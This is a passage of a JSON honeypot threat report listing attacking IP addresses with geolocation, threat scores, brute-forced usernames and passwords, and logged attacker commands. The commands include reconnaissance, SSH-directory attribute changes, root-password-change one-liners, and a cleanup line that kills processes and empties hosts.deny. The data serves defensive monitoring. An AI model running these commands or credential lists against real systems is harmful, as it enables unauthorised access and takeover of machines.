      "as_org": "Kar-Tel LLC",
      "threat_score": 28.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 209,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T17:22:06.738000+00:00",
        "last_seen_30d": "2026-05-25T18:31:06.269000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 149,
        "Suricata": 60
      }
    },
    "173.244.60.155": {
      "attack_count": 144,
      "first_seen": "2026-05-31T01:16:39.491Z",
      "last_seen": "2026-05-31T01:44:08.191Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "bob",
        "345gs5662d34",
        "ctarazona",
        "deployer",
        "joao",
        "mc",
        "payara",
        "service",
        "steam",
        "tejas",
        "test",
        "ubuntu",
        "webappuser"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "1337",
        "3245gs5662d34",
        "345gs5662d34",
        "44332211",
        "Asdfghjkl123",
        "Password01!",
        "Test@2024",
        "bob",
        "joao",
        "mc1234",
        "payara",
        "tejas@123",
        "tester",
        "webappuser"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"bob\\nTbMGZkm5qMT3\\nTbMGZkm5qMT3\\n\"|passwd",
        "echo -e \"bob\\nTbMGZkm5qMT3\\nTbMGZkm5qMT3\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 64286,
      "as_org": "LogicWeb Inc.",
      "threat_score": 35.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 183,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T01:16:39.491000+00:00",
        "last_seen_30d": "2026-05-31T01:45:09.814000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 39
      }
    },
    "119.156.194.77": {
      "attack_count": 143,
      "first_seen": "2026-05-30T01:43:56.717Z",
      "last_seen": "2026-05-30T02:23:28.679Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "dev",
        "345gs5662d34",
        "devops",
        "phil",
        "scan",
        "sistemas",
        "ts3",
        "ubuntu",
        "victor",
        "xue"
      ],
      "passwords_attempted": [
        "123123",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Originalcox!@#",
        "Qwer123.",
        "Ubuntu@2025",
        "admin@123",
        "dev@12345",
        "phil",
        "proxmox",
        "qwerty1234!",
        "scan123",
        "sistemas",
        "victor2025",
        "xue",
        "zxASqw12"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:bhqXnDyvSrph\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Hyderabad",
      "asn": 17557,
      "as_org": "Pakistan Telecommunication Company Limited",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T01:43:56.717000+00:00",
        "last_seen_30d": "2026-05-30T02:24:37.328000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 41
      }
    },
    "165.232.174.146": {
      "attack_count": 143,
      "first_seen": "2026-05-22T14:07:39.972Z",
      "last_seen": "2026-05-22T15:07:05.026Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "debian",
        "ftpuser",
        "gianluca",
        "marcelo",
        "master",
        "monika"
      ],
      "passwords_attempted": [
        "1234",
        ")OKM9ijn",
        "123321",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "ABcd1234",
        "Abc@123456",
        "Fc123456",
        "Kevin123",
        "Wq123456",
        "aaa123456",
        "gianluca",
        "kingdee@123",
        "monika123",
        "ubuntu12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:J6PDSVmaoMOw\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T14:07:39.972000+00:00",
        "last_seen_30d": "2026-05-22T15:08:06.421000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 42
      }
    },
    "95.182.101.203": {
      "attack_count": 141,
      "first_seen": "2026-05-27T05:44:20.304Z",
      "last_seen": "2026-05-27T07:50:08.346Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "jla",
        "345gs5662d34",
        "admin",
        "ali",
        "dockeruser",
        "test001",
        "user"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "123@P@ssw0rd",
        "3245gs5662d34",
        "345gs5662d34",
        "None",
        "Passw0rd",
        "dockeruser",
        "packer",
        "qwerty666",
        "test001",
        "xurros22$"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "echo \"xurros22$\\nLE9Kv2EgKGGJ\\nLE9Kv2EgKGGJ\\n\"|passwd",
        "echo -e \"xurros22$\\nLE9Kv2EgKGGJ\\nLE9Kv2EgKGGJ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fremont",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 31.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 196,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T05:44:20.304000+00:00",
        "last_seen_30d": "2026-05-27T07:51:10.257000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 141,
        "Suricata": 55
      }
    },
    "36.91.81.195": {
      "attack_count": 124,
      "first_seen": "2026-05-23T16:48:21.436Z",
      "last_seen": "2026-05-23T17:28:35.178Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "cesar",
        "345gs5662d34",
        "aroot",
        "bot",
        "intel",
        "jenkins",
        "jose",
        "kiosk"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "P@ssw0rd123",
        "P@ssw0rd1234",
        "admin",
        "aroot",
        "as123456",
        "cesar123",
        "jose",
        "kiosk",
        "letmein"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"cesar123\\nqN4MlipDFB7L\\nqN4MlipDFB7L\\n\"|passwd",
        "echo -e \"cesar123\\nqN4MlipDFB7L\\nqN4MlipDFB7L\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Tangerang",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 156,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T16:48:21.436000+00:00",
        "last_seen_30d": "2026-05-23T17:29:41.087000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 32
      }
    },
    "172.172.131.149": {
      "attack_count": 102,
      "first_seen": "2026-05-23T18:16:14.755Z",
      "last_seen": "2026-05-23T21:06:16.881Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "aroot",
        "mcserver",
        "test"
      ],
      "passwords_attempted": [
        "1234",
        "123456qq",
        "123@Root",
        "3245gs5662d34",
        "345gs5662d34",
        "Asdf1234!",
        "QQqq123456",
        "Qwer4321",
        "aroot",
        "mcserver",
        "user2000"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "echo \"root:RIc68S6rmXPv\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "uname -m",
        "w",
        "which ls"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 139,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T18:16:14.755000+00:00",
        "last_seen_30d": "2026-05-23T21:07:17.901000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 102,
        "Suricata": 37
      }
    },
    "223.123.38.35": {
      "attack_count": 98,
      "first_seen": "2026-05-23T05:10:25.360Z",
      "last_seen": "2026-05-23T19:35:00.161Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 149,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T05:10:25.360000+00:00",
        "last_seen_30d": "2026-05-23T19:36:03.438000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 98,
        "Suricata": 51
      }
    },
    "120.28.163.1": {
      "attack_count": 94,
      "first_seen": "2026-05-23T08:07:07.905Z",
      "last_seen": "2026-05-23T13:52:36.624Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "San Juan",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 25.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 141,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:07:07.905000+00:00",
        "last_seen_30d": "2026-05-23T13:53:42.025000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 47
      }
    },
    "36.70.64.115": {
      "attack_count": 90,
      "first_seen": "2026-05-19T07:55:54.588Z",
      "last_seen": "2026-05-19T12:20:24.543Z",
      "sessions": 45,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "West Jakarta",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 135,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:55:54.588000+00:00",
        "last_seen_30d": "2026-05-19T12:21:29.617000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 90,
        "Suricata": 45
      }
    },
    "121.56.189.131": {
      "attack_count": 70,
      "first_seen": "2026-05-19T18:11:54.546Z",
      "last_seen": "2026-05-19T22:35:49.742Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 105,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:11:54.546000+00:00",
        "last_seen_30d": "2026-05-19T22:36:53.427000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 70,
        "Suricata": 35
      }
    },
    "5.0.4.47": {
      "attack_count": 64,
      "first_seen": "2026-05-24T04:30:03.509Z",
      "last_seen": "2026-05-24T05:07:53.688Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Syria",
      "country_code": "SY",
      "city": "Damascus",
      "asn": 29256,
      "as_org": "Syrian Telecommunication Private Closed Joint Stock Company",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 99,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T04:30:03.509000+00:00",
        "last_seen_30d": "2026-05-24T05:09:02.727000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 64,
        "Suricata": 35
      }
    },
    "198.23.177.142": {
      "attack_count": 54,
      "first_seen": "2026-05-10T01:44:44.018Z",
      "last_seen": "2026-05-31T08:51:28.729Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 48.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.0,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T01:44:44.018000+00:00",
        "last_seen_30d": "2026-05-31T08:52:39.098000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "213.63.236.5": {
      "attack_count": 52,
      "first_seen": "2026-05-04T16:52:45.412Z",
      "last_seen": "2026-05-04T16:58:03.007Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": "Queijas",
      "asn": 12926,
      "as_org": "AR TELECOM - Acessos e Redes de Telecomunicacoes, S.A.",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T16:52:45.412000+00:00",
        "last_seen_30d": "2026-05-04T16:59:10.810000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 52,
        "Suricata": 44
      }
    },
    "103.186.77.110": {
      "attack_count": 50,
      "first_seen": "2026-05-23T04:50:22.096Z",
      "last_seen": "2026-05-23T04:55:46.592Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 142647,
      "as_org": "Nasstec Airnet Networks Private Limited",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T04:50:22.096000+00:00",
        "last_seen_30d": "2026-05-23T04:56:48.512000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "124.29.194.167": {
      "attack_count": 46,
      "first_seen": "2026-05-25T08:17:18.057Z",
      "last_seen": "2026-05-25T08:22:16.276Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T08:17:18.057000+00:00",
        "last_seen_30d": "2026-05-25T08:23:17.332000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 24
      }
    },
    "159.89.17.56": {
      "attack_count": 46,
      "first_seen": "2026-05-27T04:27:47.823Z",
      "last_seen": "2026-05-27T04:27:51.339Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "User-Agent: Go-http-client/1.1",
        "GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1",
        "GET /solr/admin/info/system HTTP/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 71.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.5,
        "persistence": 5.8,
        "diversity": 18,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 179,
        "days_active_30d": 7,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-25T21:56:38+00:00",
        "last_seen_30d": "2026-05-31T12:49:16.995000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 106,
        "Cowrie": 46,
        "Honeytrap": 24,
        "Ipphoney": 2,
        "Tanner": 1
      }
    },
    "20.84.146.226": {
      "attack_count": 46,
      "first_seen": "2026-05-02T06:59:39.730Z",
      "last_seen": "2026-05-02T07:05:04.030Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 72,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T06:59:39.730000+00:00",
        "last_seen_30d": "2026-05-02T07:06:12.228000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 26
      }
    },
    "116.207.115.182": {
      "attack_count": 44,
      "first_seen": "2026-05-20T18:36:33.547Z",
      "last_seen": "2026-05-22T20:44:07.362Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.2,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:36:33.547000+00:00",
        "last_seen_30d": "2026-05-22T20:45:15.973000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 22
      }
    },
    "176.32.193.16": {
      "attack_count": 40,
      "first_seen": "2026-05-02T05:00:35.433Z",
      "last_seen": "2026-05-29T15:21:35.195Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": null,
      "asn": 197834,
      "as_org": "Ucom CJSC",
      "threat_score": 96.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 463,
        "days_active_30d": 30,
        "ports_targeted_30d": 52,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-05-02T01:37:05+00:00",
        "last_seen_30d": "2026-05-31T17:23:12.383000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 332,
        "Honeytrap": 59,
        "Cowrie": 40,
        "Dionaea": 10,
        "ElasticPot": 6,
        "Redishoneypot": 6,
        "Tanner": 6,
        "Mailoney": 2,
        "CitrixHoneypot": 1,
        "Honeyaml": 1
      }
    },
    "37.60.225.144": {
      "attack_count": 33,
      "first_seen": "2026-05-05T00:35:18.309Z",
      "last_seen": "2026-05-05T01:05:04.810Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
